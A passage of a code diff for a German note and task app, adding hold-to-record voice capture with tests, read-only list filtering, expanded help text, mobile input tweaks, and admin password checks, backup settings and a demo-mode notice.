if (suppressClickRef.current) {
suppressClickRef.current = false;
return;
}
onTap();
}}
className={
isRecording
? 'w-14 h-14 -mt-6 rounded-full bg-status-err text-on-accent shadow-lg flex items-center justify-center transition-transform border-4 border-panel cursor-pointer touch-none select-none animate-pulse'
: 'w-14 h-14 -mt-6 rounded-full bg-accent text-on-accent shadow-lg flex items-center justify-center active:scale-90 transition-transform border-4 border-panel cursor-pointer touch-none select-none'
}
title="Schnell erfassen (+)"
aria-label="Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen"
>
{isRecording ? (
<Mic className="w-7 h-7 stroke-[2.5]" />
) : (
<Plus className="w-7 h-7 stroke-[2.5]" />
)}
</button>
</>
);
};
@@ -1,4 +1,4 @@
import React, { useEffect, useRef, useState } from 'react';
import React, { useEffect, useRef, useState, useMemo } from 'react';
import {
Mic,
MicOff,
@@ -13,9 +13,12 @@ import {
ChevronDown,
AlertTriangle,
Flame,
Loader2,
} from 'lucide-react';
import { PriorityLevel, SharedList, Thought } from '../../lib/types';
import { api, triggerHaptic } from '../../lib/api';
import { useVoiceInput } from '../../lib/useVoiceInput';
import { VoiceWave } from '../../components/VoiceWave';
export type CaptureTarget = 'inbox' | 'task' | 'list_item' | 'document';
@@ -38,23 +41,39 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
hideTargetPicker = false,
fixedTarget,
}) => {
// Read-only shared lists cannot take new items; stable reference for the effect below
const writableLists = useMemo(() => lists.filter((l) => l.isOwner || l.role !== 'viewer'), [lists]);
const [content, setContent] = useState('');
const [priority, setPriority] = useState<PriorityLevel>('normal');
const [dueDate, setDueDate] = useState('');
const [target, setTarget] = useState<CaptureTarget>(fixedTarget || 'inbox');
const [targetListId, setTargetListId] = useState<string>('');
const [showOptions, setShowOptions] = useState(defaultShowOptions || hideTargetPicker);
const [isListening, setIsListening] = useState(false);
const [voiceError, setVoiceError] = useState<string | null>(null);
const [isSubmitting, setIsSubmitting] = useState(false);
const [justSavedLabel, setJustSavedLabel] = useState<string | null>(null);
const [isMultiline, setIsMultiline] = useState(false);
const inputRef = useRef<HTMLTextAreaElement>(null);
const containerRef = useRef<HTMLFormElement>(null);
const recognitionRef = useRef<any>(null);
const baseVoiceTextRef = useRef('');
const hasVoiceInputRef = useRef(false);
// Voice input: own Whisper server or the browser's recognition (lib/voice.ts)
const voice = useVoiceInput({
onText: (text, final) => {
const base = baseVoiceTextRef.current;
if (text) setContent(base ? `${base} ${text}` : text);
if (final) inputRef.current?.focus();
},
onError: (message) => {
setVoiceError(message);
window.setTimeout(() => setVoiceError(null), 4000);
},
});
const isListening = voice.state === 'listening';
const isTranscribing = voice.state === 'transcribing';
const adjustHeight = (el?: HTMLTextAreaElement | null) => {
const targetEl = el || inputRef.current;
if (!targetEl) return;
@@ -77,10 +96,10 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
}, [autoFocusTrigger]);
useEffect(() => {
if (!targetListId && lists.length > 0) {
setTargetListId(lists[0].id);
if (!targetListId && writableLists.length > 0) {
setTargetListId(writableLists[0].id);
}
}, [lists, targetListId]);
}, [writableLists, targetListId]);
// Close dropdown on outside click
useEffect(() => {
@@ -118,57 +137,13 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
}, []);
const toggleVoiceDictation = () => {
const SpeechRecognition =
(window as any).SpeechRecognition || (window as any).webkitSpeechRecognition;
if (!SpeechRecognition) {
alert('Spracheingabe wird von diesem Browser nicht direkt unterstützt (bitte Chrome, Edge oder Safari nutzen).');
return;
}
if (isListening && recognitionRef.current) {
recognitionRef.current.stop();
setIsListening(false);
return;
}
try {
if (voice.state === 'idle') {
baseVoiceTextRef.current = content.replace(/\s*\[…\]$/, '').trim();
hasVoiceInputRef.current = true;
const recognition = new SpeechRecognition();
recognition.lang = 'de-DE';
recognition.continuous = false;
recognition.interimResults = true;
recognition.onstart = () => {
setIsListening(true);
triggerHaptic(20);
};
recognition.onresult = (event: any) => {
let transcript = '';
for (let i = 0; i < event.results.length; i++) {
transcript += event.results[i][0].transcript;
}
const base = baseVoiceTextRef.current;
setContent(base ? `${base} ${transcript}` : transcript);
};
recognition.onerror = () => {
setIsListening(false);
};
recognition.onend = () => {
setIsListening(false);
inputRef.current?.focus();
};
recognitionRef.current = recognition;
recognition.start();
} catch {
setIsListening(false);
setVoiceError(null);
triggerHaptic(20);
}
voice.toggle();
};
const executeCapture = async (
@@ -180,11 +155,13 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
const effectiveTarget = fixedTarget || overrideTarget || target;
const effectiveListId =
overrideListId || targetListId || (lists.length > 0 ? lists[0].id : '');
overrideListId || targetListId || (writableLists.length > 0 ? writableLists[0].id : '');
const capturedPriority = priority;
const capturedDueDate = dueDate;
const capturedSource = hasVoiceInputRef.current || isListening ? 'voice' : 'manual';
hasVoiceInputRef.current = false;
// A recognition still running would refill the field after it was saved
if (voice.state !== 'idle') voice.cancel();
// Optimistically clear input immediately so the UI feels instant (<10ms) in all browsers
setContent('');
@@ -236,7 +213,7 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
await executeCapture();
};
const selectedList = lists.find((l) => l.id === targetListId) || lists[0];
const selectedList = writableLists.find((l) => l.id === targetListId) || writableLists[0];
const getTargetLabel = () => {
if (target === 'task') return 'Direkt-Aufgabe';
@@ -283,8 +260,12 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
}
}}
placeholder={
isListening
voiceError
? voiceError
: isListening
? 'Ich höre zu…'
: isTranscribing
? 'Wird erkannt…'
: hideTargetPicker || fixedTarget === 'inbox'
? 'Quick Dump erfassen… (Enter zum Speichern)'
: target === 'task'
@@ -334,19 +315,33 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
</button>
)}
{/* Voice Dictation Button */}
<button
type="button"
onClick={toggleVoiceDictation}
title="Spracheingabe"
className={`w-6 h-6 capture-pill rounded-full flex items-center justify-center transition-colors ${
isListening
? 'bg-accent-dim text-accent'
: 'text-muted hover:text-main hover:bg-panel-elevated'
}`}
>
{isListening ? <MicOff className="w-3 h-3" /> : <Mic className="w-3 h-3" />}
</button>
{/* Voice Dictation Button (hidden when voice input is off or not supported) */}
{voice.available && (
<>
{isListening && voice.mode === 'server' && (
<VoiceWave getLevel={voice.level} className="h-3.5 text-accent" />
)}
<button
type="button"
onClick={toggleVoiceDictation}
disabled={isTranscribing}
title={isListening ? 'Aufnahme beenden' : isTranscribing ? 'Wird erkannt…' : 'Spracheingabe'}
className={`w-6 h-6 capture-pill rounded-full flex items-center justify-center transition-colors ${
isListening || isTranscribing
? 'bg-accent-dim text-accent'
: 'text-muted hover:text-main hover:bg-panel-elevated'
}`}
>
{isTranscribing ? (
<Loader2 className="w-3 h-3 animate-spin" />
) : isListening ? (
<MicOff className="w-3 h-3" />
) : (
<Mic className="w-3 h-3" />
)}
</button>
</>
)}
{/* Instant Send Button */}
<button
@@ -449,8 +444,8 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
type="button"
onClick={() => {
setTarget('list_item');
if (!targetListId && lists.length > 0) {
setTargetListId(lists[0].id);
if (!targetListId && writableLists.length > 0) {
setTargetListId(writableLists[0].id);
}
}}
className={`min-h-[36px] px-2.5 border rounded-btn flex items-center gap-1.5 text-left transition-colors cursor-pointer ${
@@ -485,13 +480,13 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
</div>
{/* Optional Sub-Row: Shared List Picker */}
{lists.length > 0 && (
{writableLists.length > 0 && (
<div className="pt-2 border-t border-border flex flex-wrap items-center gap-1.5">
<span className="text-muted mr-1 flex items-center gap-1">
<ShoppingCart className="w-3 h-3 text-accent" />
Liste:
</span>
{lists.map((lst) => {
{writableLists.map((lst) => {
const isSelected = target === 'list_item' && targetListId === lst.id;
return (
<button
@@ -0,0 +1,287 @@
import React from 'react';
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
import { render, screen, fireEvent, act } from '@testing-library/react';
import { HoldToRecordFab } from '../HoldToRecordFab';
class FakeSpeechRecognition {
static instances: FakeSpeechRecognition[] = [];
lang = '';
interimResults = false;
continuous = false;
started = false;
stopped = false;
aborted = false;
onresult: ((event: any) => void) | null = null;
onerror: ((event: any) => void) | null = null;
onend: (() => void) | null = null;
constructor() {
FakeSpeechRecognition.instances.push(this);
}
start() {
this.started = true;
}
stop() {
this.stopped = true;
this.onend?.();
}
abort() {
this.aborted = true;
this.onend?.();
}
emitResult(transcript: string) {
this.onresult?.({
results: [[{ transcript }]],
});
}
emitError(error: string) {
this.onerror?.({ error });
}
}
describe('HoldToRecordFab', () => {
beforeEach(() => {
vi.useFakeTimers();
FakeSpeechRecognition.instances = [];
(window as any).SpeechRecognition = FakeSpeechRecognition;
delete (window as any).webkitSpeechRecognition;
});
afterEach(() => {
vi.useRealTimers();
delete (window as any).SpeechRecognition;
delete (window as any).webkitSpeechRecognition;
});
it('calls onTap on a short tap (< 350 ms)', () => {
const onTap = vi.fn();
const onTranscript = vi.fn();
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
const btn = screen.getByRole('button', {
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
});
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
act(() => {
vi.advanceTimersByTime(150);
});
fireEvent.pointerUp(btn, { clientY: 600 });
fireEvent.click(btn);
expect(onTap).toHaveBeenCalledTimes(1);
expect(onTranscript).not.toHaveBeenCalled();
expect(FakeSpeechRecognition.instances).toHaveLength(0);
});
it('starts recording on hold (>= 350 ms) and calls onTranscript with recognized text on release', async () => {
const onTap = vi.fn();
const onTranscript = vi.fn().mockResolvedValue(undefined);
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
const btn = screen.getByRole('button', {
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
});
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
act(() => {
vi.advanceTimersByTime(350);
});
expect(FakeSpeechRecognition.instances).toHaveLength(1);
const rec = FakeSpeechRecognition.instances[0];
expect(rec.started).toBe(true);
expect(rec.lang).toBe('de-DE');
expect(rec.interimResults).toBe(true);
expect(rec.continuous).toBe(true);
expect(screen.getByText(/Ich höre zu… \(loslassen speichert\)/i)).toBeTruthy();
act(() => {
rec.emitResult('Milch und Kaffee einkaufen');
});
expect(screen.getByText('Milch und Kaffee einkaufen')).toBeTruthy();
await act(async () => {
fireEvent.pointerUp(btn, { clientY: 600 });
fireEvent.click(btn);
});
expect(rec.stopped).toBe(true);
expect(onTap).not.toHaveBeenCalled();
expect(onTranscript).toHaveBeenCalledTimes(1);
expect(onTranscript).toHaveBeenCalledWith('Milch und Kaffee einkaufen');
expect(screen.getByRole('status').textContent).toContain('Im Quick Dump gespeichert');
});
it('cancels recording when dragged up by more than 60 px and released', () => {
const onTap = vi.fn();
const onTranscript = vi.fn();
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
const btn = screen.getByRole('button', {
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
});
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
act(() => {
vi.advanceTimersByTime(350);
});
const rec = FakeSpeechRecognition.instances[0];
act(() => {
rec.emitResult('Verwerfen Test');
});
// Drag up by 80px (> 60px threshold)
fireEvent.pointerMove(btn, { clientY: 520 });
expect(screen.getByText(/🗑️ Zum Abbrechen loslassen/i)).toBeTruthy();
fireEvent.pointerUp(btn, { clientY: 520 });
fireEvent.click(btn);
expect(rec.aborted).toBe(true);
expect(onTap).not.toHaveBeenCalled();
expect(onTranscript).not.toHaveBeenCalled();
});
it('resumes normal recording if dragged above 60 px and then pulled back down before release', async () => {
const onTap = vi.fn();
const onTranscript = vi.fn().mockResolvedValue(undefined);
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
const btn = screen.getByRole('button', {
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
});
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
act(() => {
vi.advanceTimersByTime(350);
});
const rec = FakeSpeechRecognition.instances[0];
act(() => {
rec.emitResult('Doch behalten');
});
// Drag up into cancel zone
fireEvent.pointerMove(btn, { clientY: 510 });
expect(screen.getByText(/🗑️ Zum Abbrechen loslassen/i)).toBeTruthy();
// Drag back down below threshold
fireEvent.pointerMove(btn, { clientY: 580 });
expect(screen.getByText(/Ich höre zu… \(loslassen speichert\)/i)).toBeTruthy();
await act(async () => {
fireEvent.pointerUp(btn, { clientY: 580 });
fireEvent.click(btn);
});
expect(rec.aborted).toBe(false);
expect(onTranscript).toHaveBeenCalledWith('Doch behalten');
});
it('shows "Nichts erkannt" and does not save when transcript is empty', async () => {
const onTap = vi.fn();
const onTranscript = vi.fn();
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
const btn = screen.getByRole('button', {
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
});
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
act(() => {
vi.advanceTimersByTime(350);
});
await act(async () => {
fireEvent.pointerUp(btn, { clientY: 600 });
fireEvent.click(btn);
});
expect(onTap).not.toHaveBeenCalled();
expect(onTranscript).not.toHaveBeenCalled();
expect(screen.getByRole('status').textContent).toContain('Nichts erkannt');
});
it('falls back to onTap and shows message when microphone permission is denied', () => {
const onTap = vi.fn();
const onTranscript = vi.fn();
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
const btn = screen.getByRole('button', {
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
});
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
act(() => {
vi.advanceTimersByTime(350);
});
const rec = FakeSpeechRecognition.instances[0];
act(() => {
rec.emitError('not-allowed');
});
fireEvent.pointerUp(btn, { clientY: 600 });
fireEvent.click(btn);
expect(onTap).toHaveBeenCalledTimes(1);
expect(onTranscript).not.toHaveBeenCalled();
expect(screen.getByRole('status').textContent).toContain('Mikrofon nicht freigegeben');
});
it('falls back to onTap and shows a status message when SpeechRecognition is unsupported', () => {
delete (window as any).SpeechRecognition;
delete (window as any).webkitSpeechRecognition;
const onTap = vi.fn();
const onTranscript = vi.fn();
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
const btn = screen.getByRole('button', {
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
});
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
act(() => {
vi.advanceTimersByTime(350);
});
fireEvent.pointerUp(btn, { clientY: 600 });
fireEvent.click(btn);
expect(onTap).toHaveBeenCalledTimes(1);
expect(onTranscript).not.toHaveBeenCalled();
expect(screen.getByRole('status').textContent).toContain(
'Spracheingabe wird von diesem Browser nicht unterstützt'
);
});
});
describe('HoldToRecordFab tap timing', () => {
it('opens only on the click after the release, so that click cannot close the new sheet', () => {
const onTap = vi.fn();
render(<HoldToRecordFab onTap={onTap} onTranscript={vi.fn()} />);
const btn = screen.getByRole('button');
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
fireEvent.pointerUp(btn, { clientY: 600 });
expect(onTap).not.toHaveBeenCalled();
fireEvent.click(btn);
expect(onTap).toHaveBeenCalledTimes(1);
});
});
describe('HoldToRecordFab keyboard access', () => {
it('opens the capture sheet when activated without a pointer (keyboard, screen reader)', () => {
const onTap = vi.fn();
const { getByRole } = render(<HoldToRecordFab onTap={onTap} onTranscript={vi.fn()} />);
fireEvent.click(getByRole('button'), { detail: 0 });
expect(onTap).toHaveBeenCalledTimes(1);
});
});
+33 -7
View File
@@ -6,7 +6,6 @@ import {
CheckSquare,
Keyboard,
Pin,
FolderTree,
Sparkles,
Command,
Users,
@@ -19,14 +18,10 @@ import {
Lock,
ArrowLeft,
X,
Smartphone,
RotateCcw,
Heading1,
ListTodo,
Code,
Download,
Flame,
Check,
} from 'lucide-react';
import { AboutModal } from '../../components/AboutModal';
@@ -164,6 +159,15 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
'code',
'callout',
'divider',
'bild',
'extract',
'auslagern',
'zusammenführen',
'audio',
'sprachnotiz',
'diktat',
'image',
'foto',
'auto-formatting',
],
content: (
@@ -197,6 +201,22 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
<span className="text-accent font-bold">—</span>
<span>/divider (Trennlinie)</span>
</div>
<div className="p-1.5 bg-panel rounded border border-border flex items-center gap-1.5 text-main col-span-2">
<span className="text-accent font-bold">🖼️</span>
<span>/image oder /bild (Bild hochladen, fotografieren, einfügen oder per Link; nur im leeren Punkt)</span>
</div>
<div className="p-1.5 bg-panel rounded border border-border flex items-center gap-1.5 text-main col-span-2">
<span className="text-accent font-bold">📤</span>
<span>/extract oder /notiz (Punkt mit allen Unterpunkten in eine eigene Notiz auslagern, an seiner Stelle bleibt ein [[Link]])</span>
</div>
<div className="p-1.5 bg-panel rounded border border-border flex items-center gap-1.5 text-main col-span-2">
<span className="text-accent font-bold">🎙️</span>
<span>/audio (Sprachnotiz aufnehmen: grüner Knopf startet, roter speichert; oder Audiodatei hochladen)</span>
</div>
<div className="p-1.5 bg-panel rounded border border-border flex items-center gap-1.5 text-main col-span-2">
<span className="text-accent font-bold">🗣️</span>
<span>/diktat (sprechen statt tippen: startet sofort, Tipp auf „Stopp“ setzt den Text in den Punkt)</span>
</div>
</div>
</div>
<div className="pt-2 border-t border-border">
@@ -413,7 +433,7 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
<strong className="text-main">Sofortiger Fokus:</strong> Drücke irgendwo in der App <kbd className="px-1.5 py-0.5 bg-panel border border-border rounded font-mono text-[11px] text-accent">C</kbd> oder <kbd className="px-1.5 py-0.5 bg-panel border border-border rounded font-mono text-[11px] text-accent">/</kbd> (sofern du nicht bereits in einem Textfeld tippst).
</li>
<li>
<strong className="text-main">Sprach-Diktat:</strong> Klicke auf das Mikrofon-Symbol (<Mic className="w-3.5 h-3.5 inline text-accent" />) für kontinuierliche Spracheingabe über die Web Speech API. Gesprochene Gedanken werden automatisch mit dem Tag <code className="text-accent font-mono">#diktat</code> versehen.
<strong className="text-main">Sprach-Diktat:</strong> Klicke auf das Mikrofon-Symbol (<Mic className="w-3.5 h-3.5 inline text-accent" />) für kontinuierliche Spracheingabe über die Web Speech API. Gesprochene Gedanken werden automatisch mit dem Tag <code className="text-accent font-mono">#diktat</code> versehen. Auf dem Smartphone kannst du außerdem den runden <strong className="text-main">+</strong>-Button in der unteren Leiste gedrückt halten, um direkt einzusprechen – beim Loslassen landet der Text sofort im Posteingang (nach oben ziehen bricht ab).
</li>
<li>
<strong className="text-main">Ziel-Auswahl:</strong> Gedanken landen standardmäßig im Posteingang. Über die Optionen kannst du sie jedoch sofort als <strong className="text-main">Aufgabe</strong> (mit Priorität und Fälligkeit), <strong className="text-main">Listeneintrag</strong> (z.B. auf die Einkaufsliste) oder <strong className="text-main">neue Notiz</strong> routen.
@@ -488,7 +508,10 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
content: (
<div className="space-y-2 text-muted leading-relaxed">
<p>
Unter <em className="text-main">Benutzereinstellungen → Webhooks & API</em> kannst du persönliche API-Schlüssel generieren.
Unter <em className="text-main">Kontoeinstellungen → Private Webhooks &amp; Export</em> kannst du persönliche API-Schlüssel erzeugen. Pro Schlüssel legst du fest, was er einliefern darf: Gedanken in die Inbox, Aufgaben direkt oder Einträge in Listen. Lesen kann ein Schlüssel nie.
</p>
<p>
Mit dem Feld <code className="text-accent bg-panel px-1 py-0.5 rounded font-mono">"target"</code> wählst du das Ziel: <code className="font-mono">triage</code> (Standard), <code className="font-mono">task</code> (optional mit <code className="font-mono">taskListId</code>) oder <code className="font-mono">list_item</code> (mit <code className="font-mono">listId</code>). Der Simulator in den Einstellungen zeigt passende Beispiele.
</p>
<p>
Über den Endpunkt <code className="text-accent bg-panel px-1 py-0.5 rounded font-mono">POST /api/v1/webhooks/ingest</code> kannst du Gedanken aus iOS-Kurzbefehlen, Smart-Home-Systemen oder Drittanwendungen einspeisen. Sie werden automatisch mit dem Tag <code className="text-accent font-mono">#webhook</code> markiert.
@@ -632,6 +655,9 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
<li>
<strong className="text-main">Eigenes Theme:</strong> Vorlage herunterladen oder einfügen, Farben und Rundungen anpassen, als <code className="text-accent bg-panel px-1 py-0.5 rounded font-mono">.css</code>-Datei hochladen oder einfügen und „Speichern &amp; aktivieren“. Das Theme greift sofort und steht dir auf allen Geräten zur Verfügung.
</li>
<li>
<strong className="text-main">Server-Backups:</strong> Hat die Administration automatische Backups eingeschaltet, findest du unter <em>Kontoeinstellungen → Private Webhooks &amp; Export</em> die täglichen Sicherungen deiner Daten. Du kannst sie herunterladen oder wieder einspielen, auch nur für einzelne Bereiche wie Listen oder Aufgaben.
</li>
<li>
<strong className="text-main">Ohne Internet:</strong> Als App installiert (oder im Browser) startet MindSift auch offline mit dem zuletzt geladenen Stand. Gedanken erfassen sowie Aufgaben und Listeneinträge abhaken geht weiter; ein Hinweis unten zeigt, wie viele Änderungen warten, und sie werden automatisch übertragen, sobald die Verbindung zurück ist.
</li>
+20 -18
View File
@@ -7,11 +7,10 @@ import {
Radio,
Sparkles,
X,
Hash,
ShoppingCart,
} from 'lucide-react';
import { ListItem, SharedList, ListShare, Team, User, WSMessage } from '../../lib/types';
import { api, buildWebSocketURL, triggerHaptic, createRealtimeConnection, RealtimeTransport } from '../../lib/api';
import { ListItem, SharedList, Team, User, WSMessage } from '../../lib/types';
import { api, triggerHaptic, createRealtimeConnection, RealtimeTransport } from '../../lib/api';
import { UnifiedShareModal } from '../../components/UnifiedShareModal';
import { AvatarStack, AvatarPerson } from '../../components/AvatarStack';
import { CountBadge } from '../../components/CountBadge';
@@ -357,6 +356,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
)
);
await api.deleteListItem(activeList.id, itemId);
onRefreshGlobal();
};
const handleClearCompleted = async () => {
@@ -501,7 +501,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
if (!sourceItem) return;
const targetCatNormalized = targetCategory.trim();
let newCategory = targetCatNormalized;
const newCategory = targetCatNormalized;
let newContent = sourceItem.content;
if (!targetCatNormalized) {
@@ -766,13 +766,16 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
return result;
}, [openItems]);
const focusNewItemInput = () => {
inputRef.current?.focus({ preventScroll: true });
inputRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
};
// Register context-sensitive mobile menu groups behind the MindSift logo
useEffect(() => {
setPrimaryAction(() => {
setTimeout(() => {
inputRef.current?.focus();
inputRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
}, 60);
// Focus right inside the tap: iOS only opens the keyboard for focus() during the user gesture
focusNewItemInput();
});
setGroups([
@@ -786,10 +789,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
icon: <Plus className="w-4 h-4 text-accent" />,
variant: 'accent',
onClick: () => {
setTimeout(() => {
inputRef.current?.focus();
inputRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
}, 60);
focusNewItemInput();
},
},
{
@@ -871,9 +871,9 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
>
<span>{lst.icon}</span>
{/* Counter on the label, like in the nav bar */}
<span className={`relative inline-flex items-center ${openCount > 0 ? 'pr-2' : ''}`}>
<span className={`relative inline-flex items-center ${openCount > 0 ? 'pr-3' : ''}`}>
{lst.title}
<CountBadge count={openCount} position="corner" className="-top-1.5 -right-1" />
<CountBadge count={openCount} position="corner" className="-top-0.5 -right-2" />
</span>
<AvatarStack
people={otherMembers(lst)}
@@ -1081,7 +1081,8 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
setTimeout(() => setShowSuggestions(false), 200);
}}
placeholder={`Eintrag zu "${activeList.title}" hinzufügen (z. B. Hafermilch #Kühlregal)…`}
className="flex-1 bg-transparent py-1.5 sm:py-1 text-sm text-main placeholder-faint focus:outline-none"
// 16px on phones: iOS zooms into smaller fields and the layout jumps under the keyboard
className="flex-1 bg-transparent py-1.5 sm:py-1 text-base sm:text-sm text-main placeholder-faint focus:outline-none"
/>
{/* Hashtag Autocomplete Suggestions Dropdown */}
@@ -1122,10 +1123,11 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
<div className="flex items-center gap-1.5 w-full sm:w-auto justify-end px-1 sm:px-0">
<input
type="text"
inputMode="decimal"
value={newItemQty}
onChange={(e) => setNewItemQty(e.target.value.replace(/[^0-9.,xX]/g, ''))}
placeholder="Menge (z.B. 2)"
className="flex-1 sm:flex-none sm:w-28 h-9 sm:h-7 px-2.5 sm:px-2 input-field text-xs"
className="flex-1 sm:flex-none sm:w-28 h-11 sm:h-7 px-2.5 sm:px-2 input-field text-base sm:text-xs"
/>
<button
type="submit"
@@ -1252,7 +1254,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
onBlur={async () => {
await handleSaveQuantity(item.id, editingQtyValue);
}}
className="w-16 h-6 px-1.5 text-xs input-field font-semibold text-accent text-center"
className="w-16 h-8 sm:h-6 px-1.5 text-base sm:text-xs input-field font-semibold text-accent text-center"
placeholder="Menge"
/>
</div>
@@ -1366,7 +1368,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
onBlur={async () => {
await handleSaveQuantity(item.id, editingQtyValue);
}}
className="w-16 h-6 px-1.5 text-xs input-field font-semibold text-accent text-center"
className="w-16 h-8 sm:h-6 px-1.5 text-base sm:text-xs input-field font-semibold text-accent text-center"
placeholder="Menge"
/>
</div>
@@ -25,8 +25,11 @@ import {
UserRole,
} from '../../lib/types';
import { api, setCurrentSharingMode, triggerHaptic } from '../../lib/api';
import { passwordProblem } from '../../lib/password';
import { UserAvatar } from '../../components/UserAvatar';
import { ToggleSwitch } from '../../components/ToggleSwitch';
import { BackupAdminCard } from './BackupAdminCard';
import { VoiceStatusCard } from './VoiceStatusCard';
import { CountBadge } from '../../components/CountBadge';
interface AdminSettingsViewProps {
@@ -100,6 +103,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
smtpUser: '',
smtpPass: '',
smtpFrom: '',
smtpFromName: '',
smtpTls: true,
smtpSkipVerify: false,
smtpConfiguredViaEnv: false,
@@ -130,10 +134,14 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
smtpUser: sys.smtpUser || '',
smtpPass: sys.smtpPass || '',
smtpFrom: sys.smtpFrom || '',
smtpFromName: sys.smtpFromName || '',
smtpTls: sys.smtpTls ?? true,
smtpSkipVerify: Boolean(sys.smtpSkipVerify),
allowPrivateWebhooks: Boolean(sys.allowPrivateWebhooks),
smtpConfiguredViaEnv: Boolean(sys.smtpConfiguredViaEnv),
backupEnabled: Boolean(sys.backupEnabled),
backupTime: sys.backupTime || '03:00',
backupRetentionDays: sys.backupRetentionDays || 3,
});
}
} catch (err: any) {
@@ -141,8 +149,14 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
}
};
// Read-only in the public demo (FLAW-33)
const [demoMode, setDemoMode] = useState(false);
useEffect(() => {
loadAll();
api
.getAuthStatus()
.then((st) => setDemoMode(Boolean(st.demoMode)))
.catch(() => {});
}, []);
// ============================================================================
@@ -151,6 +165,11 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
const handleCreateUser = async (e: React.FormEvent) => {
e.preventDefault();
setStatusMsg(null);
const problem = passwordProblem(newUserPassword);
if (problem) {
setStatusMsg({ type: 'err', text: problem });
return;
}
triggerHaptic(15);
try {
const created = await api.adminCreateUser({
@@ -235,8 +254,14 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
const handleConfirmResetPassword = async (userId: string) => {
if (!resetPwdVal.trim()) return;
setStatusMsg(null);
const problem = passwordProblem(resetPwdVal);
if (problem) {
setStatusMsg({ type: 'err', text: problem });
return;
}
try {
await api.adminResetPassword(userId, resetPwdVal.trim());
// Not trimmed: login compares the password exactly as typed
await api.adminResetPassword(userId, resetPwdVal);
setResetPwdUserId(null);
setResetPwdVal('');
setStatusMsg({ type: 'ok', text: 'Passwort erfolgreich zurückgesetzt.' });
@@ -503,6 +528,15 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
{/* Right Content Area */}
<div className="md:col-span-3 panel-surface p-5 text-xs">
{demoMode && (
<div className="flex items-center gap-2 alert-err mb-4">
<AlertCircle className="w-4 h-4 text-status-err flex-shrink-0" />
<span>
In der Demo deaktiviert: Server-Einstellungen, E-Mail und Konten lassen sich hier nur
ansehen.
</span>
</div>
)}
{/* ================================================================= */}
{/* SECTION 1: BENUTZER, ROLLEN & EINLADUNGEN */}
{/* ================================================================= */}
@@ -555,8 +589,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
type="password"
value={newUserPassword}
onChange={(e) => setNewUserPassword(e.target.value)}
placeholder="Mind. 4 Zeichen"
minLength={4}
placeholder="Mind. 8 Zeichen"
required
className="w-full min-w-0 h-8 px-2.5 input-field"
/>
@@ -843,7 +876,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
type="password"
value={resetPwdVal}
onChange={(e) => setResetPwdVal(e.target.value)}
placeholder="Neues Passwort eingeben…"
placeholder="Neues Passwort (mind. 8 Zeichen)…"
className="flex-1 h-7 px-2 input-field"
/>
<button
@@ -998,298 +1031,326 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
